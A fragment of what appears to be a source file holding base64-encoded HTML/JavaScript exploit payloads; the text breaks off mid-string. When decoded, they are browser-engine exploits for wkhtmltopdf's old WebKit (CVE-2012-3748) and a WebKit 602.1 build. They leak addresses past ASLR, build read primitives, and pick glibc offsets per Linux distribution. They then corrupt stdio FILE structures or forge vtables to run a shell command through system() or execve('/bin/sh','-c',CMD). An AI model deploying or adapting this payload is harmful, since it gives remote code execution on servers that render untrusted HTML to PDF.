VEdPVDsKICAgICAgICBUVlsyMF09TChTVEcpOyBUVlsyMV09SChTVEcpOwogICAgICAgIHZhciBnbD1mYVtnaWR4XT4+PjAsIGdoPWZhW2dpZHgrMV0+Pj4wOwogICAgICAgIFJFU1syNF09Z2w7IFJFU1syNV09Z2g7IFJFU1sxNl09NTsKICAgICAgICB2YXIgZ2V0ZW52X2FkZHI9Z2wrZ2gqMHgxMDAwMDAwMDA7CiAgICAgICAgLy8gZ2xpYmMgZmluZ2VycHJpbnQgKHBhZ2Ugb2Zmc2V0IG9mIGdldGVudikgLT4gRlNPUCBvZmZzZXRzCiAgICAgICAgdmFyIHBvPWdsJjB4ZmZmOwogICAgICAgIHZhciBnbz0weDQ0YjcwLCBzbz0weDUwZDcwLCBzdHJlYW1fbz0weDIxYjZhMCwgd2ZqX289MHgyMTcwYzAsIGZsdXNoX289MHg4ZWRmMDsgLy8gZGVmYXVsdCBnbGliYyAyLjM1IChVYnVudHUgamFtbXkpCiAgICAgICAgaWYocG89PT0weGM1MCl7IGdvPTB4M2FjNTA7IHNvPTB4NDVmMTA7IHN0cmVhbV9vPTB4MWNmNWMwOyB3Zmpfbz0weDFjYWY0MDsgZmx1c2hfbz0weDdmNmMwOyB9IC8vIGdsaWJjIDIuMzEgKERlYmlhbiBidWxsc2V5ZSkKICAgICAgICBpZihwbz09PTB4MGIwKXsgZ289MHgzZjBiMDsgc289MHg0YzQ5MDsgc3RyZWFtX289MHgxZDQ2ODA7IHdmal9vPTB4MWQwMGEwOyBmbHVzaF9vPTB4ODNlNTA7IH0gLy8gZ2xpYmMgMi4zNiAoRGViaWFuIGJvb2t3b3JtKQogICAgICAgIGlmKHBvPT09MHhkMTApeyBnbz0weDM1ZDEwO3NvPTB4NDA5NzA7c3RyZWFtX289MHgzYTg2ODA7d2ZqX289MHgzYTNlYzA7Zmx1c2hfbz0weDc4YjQwOyB9IC8vIGdsaWJjIDIuMjYgKEFtYXpvbiBMaW51eCAyKQogICAgICAgIGlmKHBvPT09MHhjMCl7IGdvPTB4NDMwYzA7c289MHg1MzExMDtzdHJlYW1fbz0weDFlNjRlMDt3Zmpfbz0weDFlNDIyODtmbHVzaF9vPTB4OGQzNTA7IH0gLy8gZ2xpYmMgMi40MSAoRGViaWFuIHRyaXhpZSkKICAgICAgICBpZihwbz09PTB4OGEwKXsgZ289MHg0MjhhMDsgc289MHg0ZjUyMDsgc3RyZWFtX289MHgxZmM2YzA7IHdmal9vPTB4MWY4MGEwOyBmbHVzaF9vPTB4ODVkNDA7IH0gLy8gQ2VudE9TIGdsaWJjIChETyBkcm9wbGV0KQogICAgICAgIFJFU1syN109cG8+Pj4wOwogICAgICAgIHZhciBsaWJjPWdldGVudl9hZGRyLWdvOwogICAgICAgIHZhciBzeXN0ZW1BPWxpYmMrc28sIHN0ZG91dD1saWJjK3N0cmVhbV9vLCB3Zmo9bGliYyt3ZmpfbzsKICAgICAgICBSRVNbMjBdPUwobGliYyk7UkVTWzIxXT1IKGxpYmMpO1JFU1syMl09TChzeXN0ZW1BKTtSRVNbMjNdPUgoc3lzdGVtQSk7CiAgICAgICAgaWYodXNlR09UKXsgZmFbMF09TChzeXN0ZW1BKTsgZmFbMV09SChzeXN0ZW1BKTsgbmV3IERhdGUoQ01EKTsgUkVTWzNdPTB4RjAwRDAwMDE7IFJFU1sxNl09NjsgfSBlbHNlIHsKICAgICAgICAvLyAoMykgZmluaXNoIHdpZGUtdnRhYmxlOiBZKzB4NjggPSBzeXN0ZW0gKGJhY2tpbmcgd3JpdGUgdmlhIGhlYWx0aHkgVFYpCiAgICAgICAgVFZbKDB4MmU4KS80XT1MKHN5c3RlbUEpOyBUVlsoMHgyZTgpLzQrMV09SChzeXN0ZW1BKTsKICAgICAgICAvLyAoNCkgcG9pbnQgZmEgYXQgc3Rkb3V0IChzaW5nbGUgYmFzZSksIGJ1cnN0LXdyaXRlIHRoZSBGSUxFIGZpZWxkcwogICAgICAgIFRWWzIwXT1MKHN0ZG91dCk7IFRWWzIxXT1IKHN0ZG91dCk7CiAgICAgICAgdmFyIGNtZD0iICAiK0NNRDsKICAgICAgICB2YXIgdz1bMCwwLDAsMCwwLDAsMCwwXTsKICAgICAgICBmb3IodmFyIGNpPTA7Y2k8Y21kLmxlbmd0aDtjaSsrKXsgd1tjaT4+Ml0gPSAod1tjaT4+Ml0gfCAoY21kLmNoYXJDb2RlQXQoY2kpPDwoKGNpJjMpKjgpKSk+Pj4wOyB9CiAgICAgICAgZm9yKHZhciB3aT0wO3dpPDg7d2krKyl7IGZhW3dpXT13W3dpXT4+PjA7IH0gICAgIC8vIF9mbGFncy4uKzB4MWYgPSBjb21tYW5kIHN0cmluZwogICAgICAgIGZhWzhdPTA7IGZhWzldPTA7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gX0lPX3dyaXRlX2Jhc2UoMHgyMCk9MAogICAgICAgIGZhWzEwXT0xOyBmYVsxMV09MDsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gX0lPX3dyaXRlX3B0cigweDI4KT0xICAoPl9iYXNlIC0+IGZsdXNoKQogICAgICAgIGZhWzM0XT1MKGxvY2thZGRyKTsgZmFbMzVdPUgobG9ja2FkZHIpOyAgICAgICAgICAgLy8gX2xvY2soMHg4OCkgLT4gemVyb2VkIGJhY2tpbmcKICAgICAgICBmYVs0MF09TChYKTsgZmFbNDFdPUgoWCk7ICAgICAgICAgICAgICAgICAgICAgICAgIC8vIF93aWRlX2RhdGEoMHhhMCk9WAogICAgICAgIGZhWzQ4XT0wOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gX21vZGUoMHhjMCk9MAogICAgICAgIGZhWzU0XT1MKHdmaik7IGZhWzU1XT1IKHdmaik7ICAgICAgICAgICAgICAgICAgICAgLy8gdnRhYmxlKDB4ZDgpPV9JT193ZmlsZV9qdW1wcwogICAgICAgIGlmKHBvPT09MHhiNzApYWxlcnQoIkEiKTsKICAgICAgICAvLyAtLS0tIFBVUkUtSlMgSU5MSU5FIFRSSUdHRVIgKGRvZXMgbm90IGRlcGVuZCBvbiB3a2h0bWx0b3BkZiBwcmludGluZzsgLS1xdWlldC1wcm9vZikgLS0tLQogICAgICAgIC8vIEJ1aWxkIGEgZmFrZSBDKysgdnRhYmxlIFogKGFsbCBzbG90cyAtPiBfSU9fZmx1c2hfYWxsKSBpbiB0aGUgVFYgYmFja2luZywgdGhlbiBwb2ludAogICAgICAgIC8vIGZhJ3Mgb3duIGNlbGwgdnRhYmxlIGF0IFouIEpTQyA1MzQuMzQgZGlzcGF0Y2hlcyBwcm9wZXJ0eSBhY2Nlc3MgdGhyb3VnaCB0aGUgY2VsbCBDKysKICAgICAgICAvLyB2dGFibGUsIHNvIGBmYS54YCAtPiBfSU9fZmx1c2hfYWxsKCkgLT4gZmx1c2hlcyB0aGUgY29ycnVwdGVkIHN0ZGVyciBGSUxFCiAgICAgICAgLy8gLT4gX0lPX3dmaWxlX292ZXJmbG93IC0+IF9JT193ZG9hbGxvY2J1ZiAtPiAoWSsweDY4KT1zeXN0ZW0oc3RkZXJyPSIgaWQ+Li4uIikgLT4gUkNFLgogICAgICAgIHZhciBmbHVzaGFsbD1saWJjK2ZsdXNoX28sIFppPTB4MzAwPj4yOwogICAgICAgIGZvcih2YXIgemk9MDsgemk8NjQ7IHppKyspeyBUVltaaSt6aSoyXT1MKGZsdXNoYWxsKTsgVFZbWmkremkqMisxXT1IKGZsdXNoYWxsKTsgfQogICAgICAgIFRWWzBdPUwoYmFja2luZysweDMwMCk7IFRWWzFdPUgoYmFja2luZysweDMwMCk7ICAgLy8gZmEgY2VsbCB2dGFibGUgLT4gWgogICAgICAgIFJFU1szXT0weEYwMEQwMDAxOyBSRVNbMTZdPTY7CiAgICAgICAgdHJ5eyBmYS54MDsgfWNhdGNoKGUpe30KICAgICAgICB0cnl7IFN0cmluZyhmYSk7IH1jYXRjaChlKXt9CiAgICAgICAgdHJ5eyBmYSsiIjsgfWNhdGNoKGUpe30KICAgICAgICBpZihwbz09PTB4YjcwKWFsZXJ0KCJBIik7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIGFsc28gZmlyZXMgdGhlIHRyaWdnZXIgZm9yIG5vbi1xdWlldCBjYWxsZXJzCiAgICAgICAgUkVTWzE2XT03OwogICAgICAgIH0KICAgICAgICB9CiAgICAgIH0KICAgIH0KICB9CiAgcmV0dXJuIDA7fSk7CmRvY3VtZW50LndyaXRlKCJ4Iik7Cn0KCi8qIC0tLS0tLS0tLS0tLS0tLS0gV2ViS2l0IDYwMi4xIChkaXN0cm8gUXQ1V2ViS2l0KSAtLS0tLS0tLS0tLS0tLS0tICovCmZ1bmN0aW9uIHJ1bjYwMigpewogIHZhciBfYmI9bmV3IEFycmF5QnVmZmVyKDgpLF9mPW5ldyBGbG9hdDY0QXJyYXkoX2JiKSxfdT1uZXcgVWludDMyQXJyYXkoX2JiKTsKICBmdW5jdGlvbiB1MmQobG8saGkpe191WzBdPWxvPj4+MDtfdVsxXT1oaT4+PjA7cmV0dXJuIF9mWzBdO30KICBmdW5jdGlvbiBkMnUoZCl7X2ZbMF09ZDtyZXR1cm4gW191WzBdPj4+MCxfdVsxXT4+PjBdO30KICBmdW5jdGlvbiBsbzMyKGEpe3JldHVybiAoYSUweDEwMDAwMDAwMCk+Pj4wO30KICBmdW5jdGlvbiBoaTMyKGEpe3JldHVybiBNYXRoLmZsb29yKGEvMHgxMDAwMDAwMDApPj4+MDt9CiAgZnVuY3Rpb24gcHRyaXNoKHYpeyBpZih0eXBlb2YgdiE9PSdudW1iZXInfHx2IT09dnx8dj09PSh2fDApKXJldHVybiBmYWxzZTsgdmFyIHA9ZDJ1KHYpOwogICAgcmV0dXJuIChwWzFdPj0weDAwMDEgJiYgcFsxXTw9MHg3ZmZmICYmIHBbMF0hPT0wKTsgfQogIGZ1bmN0aW9uIGdjKCl7IGZvcih2YXIgaT0wO2k8NjtpKyspeyB2YXIgYWI9bmV3IEFycmF5QnVmZmVyKDEwMjQqMTAyNCoxMCk7IGFiPW51bGw7IH0gfQogIHZhciBTSUQ9MHg2MTsKICB2YXIgZHVtbXk9e2Q6MX07CiAgdmFyIG9vYj1bMS4xLDIuMiwzLjMsNC40LDUuNSw2LjYsNy43LDguOF07CiAgb29iLnBhPWR1bW15OyBvb2IucGI9ZHVtbXk7IG9vYi5wYz1kdW1teTsgb29iLnBkPWR1bW15OwogIHZhciBnPW5ldyBGbG9hdDY0QXJyYXkoMTYpOwogIGZ1bmN0aW9uIHRyaWcoYSl7IHZhciBhY2M9MC4wOyBmb3IodmFyIGo9MDtqPDMwMDAwO2orKyl7IGFjYys9YVtqJjddOyB9CiAgICB2YXIgaGk9YVs3XTsgZ1swXT1hWy0xXTtnWzFdPWFbLTJdO2dbMl09YVstM107Z1szXT1hWy00XTtnWzRdPWFbLTVdO2dbNV09YVstNl07Z1s2XT1hWy03XTtnWzddPWFbLThdOwogICAgZ1s4XT1hWy05XTtnWzldPWFbLTEwXTtnWzEwXT1hWy0xMV07Z1sxMV09YVstMTJdO2dbMTJdPWFbLTEzXTtnWzEzXT1hWy0xNF07Z1sxNF09YVstMTVdO2dbMTVdPWFbLTE2XTsKICAgIHJldHVybiBhY2MraGk7IH0KICBmdW5jdGlvbiB3YXJtKG4peyBmb3IodmFyIHc9MDt3PG47dysrKXsgdHJpZyhvb2IpOyB9IH0KICAoZnVuY3Rpb24oKXsgdmFyIHZzPVsxLDIuNSwtMywxZTEwMCx7fSxbXSwicyIsbnVsbCx0cnVlLDB4MTIzNCwzLjE0LHtxOjF9XTsKICAgIGZvcih2YXIgaT0wO2k8dnMubGVuZ3RoO2krKyl7IG9vYi5wYT12c1tpXTsgfSBvb2IucGE9ZHVtbXk7IH0pKCk7CiAgZnVuY3Rpb24gYWRkcm9mKHgpeyBvb2IucGE9eDsgdHJpZyhvb2IpOyB2YXIgdj1nWzFdOyBvb2IucGE9ZHVtbXk7IHJldHVybiB2OyB9CiAgZnVuY3Rpb24gYWRkck4oeCl7IHZhciBkPWFkZHJvZih4KTsgcmV0dXJuIGQydShkKVsxXSoweDEwMDAwMDAwMCtkMnUoZClbMF07IH0KICB3YXJtKDQwMCk7CiAgZnVuY3Rpb24gbWt2KGFkZHIpeyB2YXIgYT1bMCw0LjI0Mzk5MTU4MmUtMzE0LHUyZChsbzMyKGFkZHIpLGhpMzIoYWRkcikpLDMuNWUtMzIzLDMuNWUtMzIzXTsKICAgIHZhciBmPWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaWZyYW1lJykpOwogICAgZi5jb250ZW50V2luZG93LkFycmF5LnByb3RvdHlwZS5fX2RlZmluZUdldHRlcl9fKDEwMCxmdW5jdGlvbigpe3JldHVybiAxO30pOwogICAgdmFyIHN1Yj1mLmNvbnRlbnRXaW5kb3cuQXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoYSwwLDQpOyBmLnJlbW92ZSgpOyByZXR1cm4gc3ViWzBdOyB9CiAgZnVuY3Rpb24gb3B0KG9iail7IGZvcih2YXIgaT0wO2k8NTAwO2krKyl7fSB2YXIgdG1wPXthOjF9OyBnYygpOyB0bXAuX19wcm90b19fPXt9OwogICAgZm9yKHZhciBrIGluIHRtcCl7IHRtcC5fX3Byb3RvX189e307IGdjKCk7IG9iai5fX3Byb3RvX189e307IHJldHVybiBvYmpba107IH0gfQogIG9wdCh7fSk7CiAgdmFyIGN0bD1udWxsLCBDVExCQVNFPTA7CiAgZm9yKHZhciB0PTA7dDw4ICYmICFjdGw7dCsrKXsgdmFyIG1lbT1uZXcgVWludDMyQXJyYXkoMHg0MDAwMDApOyB2YXIgcj1vcHQobWVtKTsgd2FybSgxNTApOwogICAgdmFyIGJhPWFkZHJvZihyKTsgaWYocHRyaXNoKGJhKSl7IGN0bD1tZW07IENUTEJBU0U9ZDJ1KGJhKVsxXSoweDEwMDAwMDAwMCtkMnUoYmEpWzBdOyB9IH0KICBpZihjdGwpewogICAgdmFyIFY9Q1RMQkFTRSsweDEwMDAwMDsKICAgIGN0bFsyXT0wO2N0bFszXT0wOyBjdGxbNF09bG8zMihWKTtjdGxbNV09aGkzMihWKTsgY3RsWzZdPTB4MTAwMDA7Y3RsWzddPTE7IGN0bFswXT1TSUQ7IGN0bFsxXT0weDAxMTgyNjAwOwogICAgdmFyIGZha2U9bWt2KENUTEJBU0UpOwogICAgZnVuY3Rpb24gc2V0VihhLGxlbil7IGN0bFs0XT1sbzMyKGEpOyBjdGxbNV09aGkzMihhKTsgY3RsWzZdPShsZW58fDB4MTAwMCk+Pj4wOyBjdGxbN109MTsgfQogICAgZnVuY3Rpb24gc2FmZVYoKXsgY3RsWzRdPWxvMzIoVik7IGN0bFs1XT1oaTMyKFYpOyBjdGxbNl09MHgxMDAwMDsgY3RsWzddPTE7IH0KICAgIGZ1bmN0aW9uIHJkNjQoYSl7IHNldFYoYSwweDEwMCk7IHZhciBsbz1mYWtlWzBdPj4+MCxoaT1mYWtlWzFdPj4+MDsgc2FmZVYoKTsgcmV0dXJuIGhpKjB4MTAwMDAwMDAwK2xvOyB9CiAgICBmdW5jdGlvbiByZDMyKGEpeyBzZXRWKGEsMHgxMDApOyB2YXIgdj1mYWtlWzBdPj4+MDsgc2FmZVYoKTsgcmV0dXJuIHY7IH0KICAgIGlmKGZha2UgaW5zdGFuY2VvZiBVaW50MzJBcnJheSl7CiAgICAgIHZhciB2dD1yZDY0KHJkNjQoYWRkck4oTWF0aC5zaW4pKzB4MTgpKzB4MzgpLCBmcHdrPXZ0JjB4ZmZmOwogICAgICB2YXIgTElCV0tfVlRfT0ZGPTB4OTY0NmEwLCBHRVRFTlZfR09UPTB4MmNmNWExMDsgICAgICAgICAgICAgICAgIC8vIGRpc3RybyBqYW1teSA2MDIuMSAoZnB3az0weDZhMCkKICAgICAgdmFyIGxpYndrPXZ0LUxJQldLX1ZUX09GRjsKICAgICAgdmFyIGdldGVudl9hZGRyPXJkNjQobGlid2srR0VURU5WX0dPVCksIHBvPWdldGVudl9hZGRyJjB4ZmZmOwogICAgICB2YXIgR0VURU5WX09GRj0weDQ0YjcwLCBTRVRDVFhfT0ZGPTB4NTM5ZTAsIEVYRUNWRV9PRkY9MHhlYjA4MDsgIC8vIGdsaWJjIDIuMzUgKHBvPTB4YjcwKQogICAgICB2YXIgbGliYz1nZXRlbnZfYWRkci1HRVRFTlZfT0ZGOwogICAgICBpZihyZDMyKGxpYmMpPT09MHg0NjRjNDU3ZikKICAgICAgKGZ1bmN0aW9uIGdvKGNtZCl7CiAgICAgICAgdmFyIFNFVENUWD1saWJjK1NFVENUWF9PRkYsIEVYRUNWRT1saWJjK0VYRUNWRV9PRkY7CiAgICAgICAgZnVuY3Rpb24gdyhvZmYsdmFsKXsgY3RsW29mZj4+Ml09bG8zMih2YWwpOyBjdGxbKG9mZj4+MikrMV09aGkzMih2YWwpOyB9CiAgICAgICAgZnVuY3Rpb24gd3N0cihvZmYscyl7IHZhciBiPVtdOyBmb3IodmFyIGk9MDtpPHMubGVuZ3RoO2krKyliLnB1c2gocy5jaGFyQ29kZUF0KGkpJjB4ZmYpOyBiLnB1c2goMCk7CiAgICAgICAgICB3aGlsZShiLmxlbmd0aCU4KWIucHVzaCgwKTsKICAgICAgICAgIGZvcih2YXIgaT0wO2k8Yi5sZW5ndGg7aSs9OCl7IGN0bFsob2ZmK2kpPj4yXT0oYltpXXwoYltpKzFdPDw4KXwoYltpKzJdPDwxNil8KGJbaSszXTw8MjQpKT4+PjA7CiAgICAgICAgICAgIGN0bFsob2ZmK2krNCk+PjJdPShiW2krNF18KGJbaSs1XTw8OCl8KGJbaSs2XTw8MTYpfChiW2krN108PDI0KSk+Pj4wOyB9IH0KICAgICAgICBmdW5jdGlvbiBBKG9mZil7IHJldHVybiBDVExCQVNFK29mZjsgfQogICAgICAgIHZhciBPX1ZNPTB4OTAwMDAwLE9fVEFCTEU9MHg5MjAwMDAsT19TVFJVQ1Q9MHg5MzAwMDAsT19DST0weDk0MDAwMDsKICAgICAgICB2YXIgT19CSU5TSD0weDk1MDAwMCxPX0RBU0hDPTB4OTUwMDEwLE9fQ01EPTB4OTUwMDIwLE9fQVJHVj0weDk1MDIwMCxPX0VOVlA9MHg5NTAzMDAsT19QQVRIPTB4OTUwMzgwLE9fU1RBQ0s9MHg5NzAwMDA7CiAgICAgICAgdygweGU4LEEoT19WTSkpOyB3KE9fVk0rMHg0NjMwLEEoT19WTSkpOyB3KE9fVk0rMHhjMCxBKE9fVEFCTEUpKTsgdygweGIwLDApOwogICAgICAgIHcoT19UQUJMRSswLDApOyB3KE9fVEFCTEUrMHg2MSo4LEEoT19TVFJVQ1QpKTsgdyhPX1NUUlVDVCswLDApOyB3KE9fU1RSVUNUKzgsMCk7CiAgICAgICAgdyhPX1NUUlVDVCsweDQwLEEoT19DSSkpOyB3KE9fQ0krMHg4LDApOwogICAgICAgIGZvcih2YXIgaz0wO2s8MHg0MDtrKyspIHcoT19DSSsweDE4K2sqOCxTRVRDVFgpOwogICAgICAgIHdzdHIoT19CSU5TSCwiL2Jpbi9zaCIpOyB3c3RyKE9fREFTSEMsIi1jIik7IHdzdHIoT19DTUQsY21kKTsKICAgICAgICB3c3RyKE9fUEFUSCwiUEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iKTsKICAgICAgICB3KE9fQVJHViswLEEoT19CSU5TSCkpOyB3KE9fQVJHVis4LEEoT19EQVNIQykpOyB3KE9fQVJHVisxNixBKE9fQ01EKSk7IHcoT19BUkdWKzI0LDApOwogICAgICAgIHcoT19FTlZQKzAsQShPX1BBVEgpKTsgdyhPX0VOVlArOCwwKTsKICAgICAgICB3KDB4MjgsMCk7dygweDMwLDApO3coMHg0OCwwKTt3KDB4NTAsMCk7dygweDU4LDApO3coMHg2MCwwKTt3KDB4NzgsMCk7dygweDgwLDApO3coMHg5OCwwKTsKICAgICAgICB3KDB4NjgsQShPX0JJTlNIKSk7IHcoMHg3MCxBKE9fQVJHVikpOyB3KDB4ODgsQShPX0VOVlApKTsgdygweGEwLEEoT19TVEFDSykpOyB3KDB4YTgsRVhFQ1ZFKTsgdygweGUwLEEoMHg5OTAwMDApKTsKICAgICAgICB2YXIganVuaz1bXTsgZm9yKHZhciBpPTA7aTw0MDA7aSsrKXsganVuay5wdXNoKG5ldyBVaW50OEFycmF5KDB4MTAwMDApKTsgfQogICAgICB9KShDTUQpOwogICAgfQogIH0KfQo8L3NjcmlwdD48L2JvZHk+PC9odG1sPgo="
EMBEDDED_PROBE_B64    = "PGh0bWw+PGJvZHk+PHNjcmlwdD4KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogKiBVbml2ZXJzYWwgaW4tcGFnZS1KUyBSQ0UgZm9yIHdraHRtbHRvcGRmIChXZWJLaXQgNTM0LjM0IC8gUXRXZWJLaXQgMi4yKQogKiBDVkUtMjAxMi0zNzQ4ICDigJQgIEpTQXJyYXk6OnNvcnQgc3RhbGUtQXJyYXlTdG9yYWdlIHVzZS1hZnRlci1mcmVlCiAqCiAqIFNlbGYtY29udGFpbmVkLCBubyBuZXR3b3JrLCBkZWZlYXRzIEFTTFIgKGFsbCBhZGRyZXNzZXMgbGVha2VkIGxpdmUpLgogKiBBZGFwdHMgdG8gdGhlIHR3byBheGVzIHRoYXQgdmFyeSBhY3Jvc3MgcmVhbCBkZXBsb3ltZW50czoKICogICAtIHdraHRtbHRvcGRmIEJVSUxEICA6IHRhYmxlIGtleWVkIGJ5IGltcGxfdnQgJiAweGZmZiAocGFnZS1hbGlnbmVkIGZpbmdlcnByaW50KQogKiAgIC0gZ2xpYmMgVkVSU0lPTiAgICAgIDogdGFibGUga2V5ZWQgYnkgZ2V0ZW52JjB4ZmZmIChBU0xSLWludmFyaWFudCBwYWdlIG9mZnNldCkKICogRmluaXNoZXIgPSBIb3VzZS1vZi1BcHBsZS0yIEZTT1AgKGNvcnJ1cHQgX0lPXzJfMV9zdGRlcnJfKSwgZmlyZWQgSU5MSU5FIGJ5CiAqIGFsZXJ0KCkgLT4gZnByaW50ZihzdGRlcnIpOiBSRUxSTy1BR05PU1RJQywgc28gT05FIHBhdGggY292ZXJzIGJvdGgKICogUGFydGlhbC1SRUxSTyAoR09UIHdvdWxkIGJlIHdyaXRhYmxlKSBhbmQgRnVsbC1SRUxSTyAoQklORF9OT1cpIHRhcmdldHMuCiAqIFZlcmlmaWVkOiBkb2NrZXIgMC4xMi42LjEgbW9ub2xpdGhpYyAoUGFydGlhbCkgKyBqYW1teSAwLjEyLjYuMS0yIENMSSAoRnVsbCksCiAqIGdsaWJjIDIuMzEgKyAyLjM1LCBmdWxsIEFTTFIsIG5vIGRlYnVnZ2VyLgogKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovCnZhciBfZ2M9W107CmZ1bmN0aW9uIGxvMzIoYSl7cmV0dXJuIChhJTB4MTAwMDAwMDAwKT4+PjA7fSBmdW5jdGlvbiBoaTMyKGEpe3JldHVybiBNYXRoLmZsb29yKGEvMHgxMDAwMDAwMDApPj4+MDt9CmZ1bmN0aW9uIEwoYSl7cmV0dXJuIGxvMzIoYSk7fSBmdW5jdGlvbiBIKGEpe3JldHVybiBoaTMyKGEpO30KdmFyIF9kdj1uZXcgRGF0YVZpZXcobmV3IEFycmF5QnVmZmVyKDgpKTsKZnVuY3Rpb24gZDJ1KGQpe19kdi5zZXRGbG9hdDY0KDAsZCx0cnVlKTsgcmV0dXJuIFtfZHYuZ2V0VWludDMyKDAsdHJ1ZSk+Pj4wLF9kdi5nZXRVaW50MzIoNCx0cnVlKT4+PjBdO30KZnVuY3Rpb24gZnVsbHB0cihkYmwpeyB2YXIgcj1kMnUoZGJsKTsgdmFyIHFoPShyWzFdKzB4MTAwMDApPj4+MCwgcWw9clswXT4+PjA7CiAgdmFyIHBoaT1xaD4+PjE2OyB2YXIgcGxvPSgoKHFsPj4+MTYpfCgocWgmMHhmZmZmKTw8MTYpKT4+PjApOyByZXR1cm4gcGhpKjB4MTAwMDAwMDAwK3BsbzsgfQpmdW5jdGlvbiBhZGRyb2YodCl7CiAgdmFyIHZ3PVtdOyB2YXIgYTE9W107IGZvcih2YXIgaT0wO2k8MzI7aSsrKSBhMVtpXT10OyBhMVszMl09MHg0MTQxMDAwMDsgX2djLnB1c2goYTEsdncpOyB2YXIgZGlkPWZhbHNlOwogIGExLnNvcnQoZnVuY3Rpb24oeCx5KXsgaWYoIWRpZCYmKHg9PT0weDQxNDEwMDAwfHx5PT09MHg0MTQxMDAwMCkpe2RpZD10cnVlOyBmb3IodmFyIGc9MDtnPDQwOTY7ZysrKWExLnB1c2goZyk7CiAgICBmb3IodmFyIHE9MDtxPDIwMDA7cSsrKXt2YXIgdj1uZXcgVWludDMyQXJyYXkoMTAwKTt2WzBdPTB4N2FiYzAwMDArcTt2dy5wdXNoKHYpO319IHJldHVybiAwO30pOwogIHZhciBjPXt9LGI9bnVsbCxibj0wOyBmb3IodmFyIGk9MDtpPHZ3Lmxlbmd0aDtpKyspe3ZhciB2PXZ3W2ldOwogICAgZm9yKHZhciBrPTA7aysxPHYubGVuZ3RoO2srKyl7dmFyIGxvPXZba10+Pj4wLGhpPXZbaysxXT4+PjA7CiAgICAgIGlmKGhpPjAmJmhpPDB4MTAwMDAmJmxvPjAmJihsbz4+PjE2KSE9PTB4N2FiYyl7dmFyIGtleT1oaSsiOiIrbG87Y1trZXldPShjW2tleV18fDApKzE7CiAgICAgICAgaWYoY1trZXldPmJuKXtibj1jW2tleV07Yj1bbG8saGldO319fX0gcmV0dXJuIGI/KGJbMV0qMHgxMDAwMDAwMDArYlswXSk6MDsKfQpmdW5jdGlvbiBta21hcE4oVGxvLFRoaSxOKXt2YXIgYT1uZXcgQXJyYXkoMTgzKTsKICBhWzBdPVRsbyYweGZmZmY7YVsxXT0oVGxvPj4+MTYpJjB4ZmZmZjthWzJdPVRoaSYweGZmZmY7YVszXT0oVGhpPj4+MTYpJjB4ZmZmZjsKICBhWzRdPU4mMHhmZmZmO2FbNV09MDthWzZdPTA7YVs3XT0wO2FbOF09TiYweGZmZmY7YVs5XT0wO2FbMTBdPTA7YVsxMV09MDtmb3IodmFyIGk9MTI7aTwxODM7aSsrKWFbaV09MDsKICByZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShudWxsLGEpO30KZnVuY3Rpb24gcmVhZDIobXQsa2VlcGVyLE4pewogIHZhciBsbz1sbzMyKG10KSxoaT1oaTMyKG10KSxjYXA9W107CiAgdmFyIGExPVtdO2Zvcih2YXIgaT0wO2k8Mjg7aSsrKWExW2ldPWtlZXBlcjthMVsyOF09MHg0MTQxMDAwMDthMVsyOV09a2VlcGVyO2ExWzMwXT1rZWVwZXI7YTFbMzFdPWtlZXBlcjthMVszMl09a2VlcGVyO19nYy5wdXNoKGExLGNhcCk7CiAgdmFyIGRpZD1mYWxzZTsKICBhMS5zb3J0KGZ1bmN0aW9uKHgseSl7aWYoIWRpZCYmKHg9PT0weDQxNDEwMDAwfHx5PT09MHg0MTQxMDAwMCkpe2RpZD10cnVlO2Zvcih2YXIgZz0wO2c8NDA5NjtnKyspYTEucHVzaChnKTsKICAgIHZhciBzPVtdO2Zvcih2YXIgcT0wO3E8MTUwMDtxKyspcy5wdXNoKG1rbWFwTihsbyxoaSxOKSk7X2djLnB1c2gocyk7fQogICAgZWxzZSBpZihkaWQpe3ZhciBWPW51bGw7aWYoeCE9PWtlZXBlciYmeCE9PTB4NDE0MTAwMDApVj14O2Vsc2UgaWYoeSE9PWtlZXBlciYmeSE9PTB4NDE0MTAwMDApVj15OwogICAgICBpZihWIT09bnVsbCYmdHlwZW9mIFY9PT0ibnVtYmVyIiljYXAucHVzaChWKTt9cmV0dXJuIDA7fSk7CiAgdmFyIGQ9W107Zm9yKHZhciBpaT0wO2lpPGNhcC5sZW5ndGg7aWkrKyl7dmFyIHA9ZnVsbHB0cihjYXBbaWldKTtpZihkLmxlbmd0aD09PTB8fGRbZC5sZW5ndGgtMV0hPT1wKWQucHVzaChwKTt9cmV0dXJuIGQ7Cn0KZnVuY3Rpb24gcmVhZDJyYXcobXQsa2VlcGVyLE4pewogIHZhciBsbz1sbzMyKG10KSxoaT1oaTMyKG10KSxjYXA9W107CiAgdmFyIGExPVtdO2Zvcih2YXIgaT0wO2k8Mjg7aSsrKWExW2ldPWtlZXBlcjthMVsyOF09MHg0MTQxMDAwMDthMVsyOV09a2VlcGVyO2ExWzMwXT1rZWVwZXI7YTFbMzFdPWtlZXBlcjthMVszMl09a2VlcGVyO19nYy5wdXNoKGExLGNhcCk7CiAgdmFyIGRpZD1mYWxzZTsKICBhMS5zb3J0KGZ1bmN0aW9uKHgseSl7aWYoIWRpZCYmKHg9PT0weDQxNDEwMDAwfHx5PT09MHg0MTQxMDAwMCkpe2RpZD10cnVlO2Zvcih2YXIgZz0wO2c8NDA5NjtnKyspYTEucHVzaChnKTsKICAgIHZhciBzPVtdO2Zvcih2YXIgcT0wO3E8MTUwMDtxKyspcy5wdXNoKG1rbWFwTihsbyxoaSxOKSk7X2djLnB1c2gocyk7fQogICAgZWxzZSBpZihkaWQpe3ZhciBWPW51bGw7aWYoeCE9PWtlZXBlciYmeCE9PTB4NDE0MTAwMDApVj14O2Vsc2U